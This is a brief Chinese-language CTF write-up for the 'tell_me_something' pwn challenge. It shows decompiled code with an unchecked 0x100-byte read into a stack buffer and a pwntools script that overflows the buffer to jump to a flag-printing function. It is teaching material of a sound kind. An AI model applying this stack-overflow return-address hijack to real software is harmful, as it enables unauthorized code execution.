jarvisoj_tell_me_something
题目链接:jarvisoj_tell_me_something。
下载附件后,使用 IDA 反编译,定位到主要函数,如下。
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v4; // [rsp+0h] [rbp-88h] BYREF
write(1, "Input your message:\n", 0x14uLL);
read(0, &v4, 0x100uLL);
return write(1, "I have received your message, Thank you!\n", 0x29uLL);
}
留意到存在 good_game 函数,如下。
int good_game()
{
FILE *v0; // rbx
int result; // eax
char buf[9]; // [rsp+Fh] [rbp-9h] BYREF
v0 = fopen("flag.txt", "r");
while ( 1 )
{
result = fgetc(v0);
buf[0] = result;
if ( (_BYTE)result == 0xFF )
break;
write(1, buf, 1uLL);
}
return result;
}
解题思路:
- 利用栈溢出,劫持程序执行 good_game 函数,即可拿到 flag。
解题脚本如下。
from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *
def pwn():
sa('Input your message:\n', 0x88 * b'a' + p64(0x0000000000400620))
irt()
pwn()

浙公网安备 33010602011771号